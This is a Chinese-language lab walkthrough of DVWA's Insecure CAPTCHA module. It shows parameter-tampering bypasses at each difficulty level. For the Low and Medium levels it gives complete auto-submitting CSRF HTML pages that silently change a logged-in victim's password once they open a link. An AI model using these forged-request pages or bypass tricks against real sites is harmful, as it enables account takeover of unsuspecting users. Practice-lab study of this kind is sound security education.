简介
Insecure CAPTCHA,意思是不安全的验证码,CAPTCHA是“全自动区分计算机和人类的图灵测试”的简称
reCaptcha是Google开发的验证码工具,是Google提供的使用最广泛的验证码服务,是一项免费服务,可以保护您的网站免受垃圾邮件和滥用。reCAPTCHA使用先进的风险分析引擎和自适应CAPTCHA来防止自动化软件在您的网站上进行滥用行为
reCAPTCHA验证流程

网站服务器调用recaptcha_check_answer函数检查用户输入验证码的正确性
1 | recaptcha_check_answer($privkey,$response) |
$privkey是服务器申请的private key(私钥)$response:通过页面表单发送的g-recaptcha-response的值
recaptcha_check_answer函数返回ReCaptchaResponse class的实例,ReCaptchaResponse类有2个属性:
$is_valid是布尔型的,表示校验是否有效$error是返回的错误代码

那这个模块的实验是不是需要科学上网呢?答案是不用,因为我们可以绕过验证码
LOW级别
服务器将改密操作分成了两步:
检查用户输入的验证码,验证通过后,服务器返回表单
客户端提交
post请求,服务器完成更改密码的操作
这其中存在明显的逻辑漏洞,服务器仅仅通过检查Change、step参数来判断用户是否已经输入了正确的验证码

因未科学上网,验证码无法显示
修改参数绕过
抓包修改
step参数
因为没有翻墙,所以没能成功显示验证码,发送的请求包中也就没有
recaptcha_challenge_field、recaptcha_response_field两个参数将
step参数由1修改为2密码修改成功

构造攻击页面
由于没有任何的防御CSRF机制,我们可以轻易地构造攻击页面
编写攻击页面
xx.html1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23<html>
<body onload="document.getElementById('transfer').submit()">
<div>
<form method="POST" id="transfer" action="http://172.16.12.93/vulnerabilities/captcha/">
<input type="hidden" name="password_new" value="password123">
<input type="hidden" name="password_conf" value="password123">
<input type="hidden" name="step" value="2">
<input type="hidden" name="Change" value="Change">
</form>
</div>
</body>
</html>将攻击页面放置到攻击者的公网服务器(此处为192.168.43.132)上
向被攻击者发送恶意链接
1
http://192.168.43.132/xx.html
被攻击者在登陆
DVWA的情况下点击恶意链接,则密码被修改成功美中不足的是,被攻击者看到更改密码成功的界面(这是因为修改密码成功后,服务器会返回302,实现自动跳转),从而意识到自己遭到了攻击

Medium级别
Medium级别的代码在第二步验证时,参加了对参数passed_captcha的检查,如果参数值为true,则认为用户已经通过了验证码检查,然而用户依然可以通过伪造参数绕过验证
修改参数绕过
抓包修改
step参数,增加passed_captcha参数,绕过验证码
密码修改成功

构造攻击页面
依然可以进行CSRF攻击
编写攻击页面
cc.html1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25<html>
<body onload="document.getElementById('transfer').submit()">
<div>
<form method="POST" id="transfer" action="http://172.16.12.93/vulnerabilities/captcha/">
<input type="hidden" name="password_new" value="password123">
<input type="hidden" name="password_conf" value="password123">
<input type="hidden" name="passed_captcha" value="true">
<input type="hidden" name="step" value="2">
<input type="hidden" name="Change" value="Change">
</form>
</div>
</body>
</html>将攻击页面放置到攻击者的公网服务器(此处为192.168.43.132)上
向被攻击者发送恶意链接
1
http://192.168.43.132/cc.html
被攻击者在登陆
DVWA的情况下点击恶意链接,则密码被修改成功不过依然会跳转到更改密码成功的界面

High级别
服务器的验证逻辑是当$resp(这里是指谷歌返回的验证结果)是true,或者参数g-recaptcha-response等于hidd3n_valu3并且http包头的User-Agent参数等于reCAPTCHA时,就认为验证码正确
$resp参数不可控
抓包修改参数
修改
User-Agent值为reCAPTCHA添加
g-recaptcha-response参数,值为hidd3n_valu3
密码修改成功

Impossible级别
Impossible级别的代码增加了Anti-CSRF token 机制防御CSRF攻击,利用PDO技术防护sql注入,验证过程终于不再分成两部分了,验证码无法绕过,同时要求用户输入之前的密码,进一步加强了身份认证